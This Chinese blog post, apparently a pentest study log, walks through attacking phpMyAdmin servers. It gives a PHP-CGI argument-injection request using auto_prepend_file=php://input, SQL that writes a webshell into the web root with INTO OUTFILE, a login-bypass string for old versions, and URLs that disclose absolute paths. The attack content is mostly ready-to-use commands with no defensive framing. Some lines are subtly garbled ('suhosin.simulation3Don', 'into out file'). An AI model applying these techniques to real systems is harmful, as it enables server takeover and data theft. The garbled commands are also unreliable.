记一次 phpmyadmin 渗透测试学习之旅

因为有些管理员将 phpmyadmin 的配置页面直接就放在了公网上,而这些页面不需要登陆认证,导致问题出现。
phpmyadmin/setup

记一次 phpmyadmin 渗透测试学习之旅_第1张图片
phpmyadmin.jpg

有的甚至可以新建表等操作

有的版本 php在cgi模式下运行时能接受传递的参数,所以可以构造特别的代码。

http://www.freebuf.com/articles/web/15774.html

%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n

关闭各种防护的参数,打开各种危险的参数,最后利用auto_prepend_file(或auto_append_file)这个参数把需要执行的系统命令传递过去了。

先看个post的请求头

POST /v2/api/?login HTTP/1.1
Host: passport.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.baidu.com/
Cookie: BAIDUID=6612027E4C1844B4AE58E1E48481A442:FG=1; HOSUPPORT=1
Connection: keep-alive

构造post请求代码

http://url/phpmyadmin/?-d allow_url_include=1 -d auto_prepend_file=php://input HTTP/1.1

url编码后 (完整的代码)

POST
http://url/phpmyadmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:

passthru(''); 同 [exec()]函数类似, passthru() 函数 也是用来执行外部命令(command
)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 [exec()]或 [system()]函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。
die(); 函数输出一条消息,并退出当前脚本。


数据库写入

Drop TABLE IF EXISTS temp; //删掉存在temp  
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段  
Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表  
Select cmd from temp into out file '网页物理路径/cmd.php'; //查询temp表中的一句话并把结果导入到cmd.php
Drop TABLE IF EXISTS temp; //删除temp

http://www.jb51.net/article/64827.htm

简化的写入命令

select '' into outfile 'F:/wwwroot/eval.php';

2.11.3-2.11.4 版本万能密码漏洞

'localhost'@'@"

php爆绝对路径

phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/themes/darkblue_orange/layout.inc.php

你可能感兴趣的:(记一次 phpmyadmin 渗透测试学习之旅)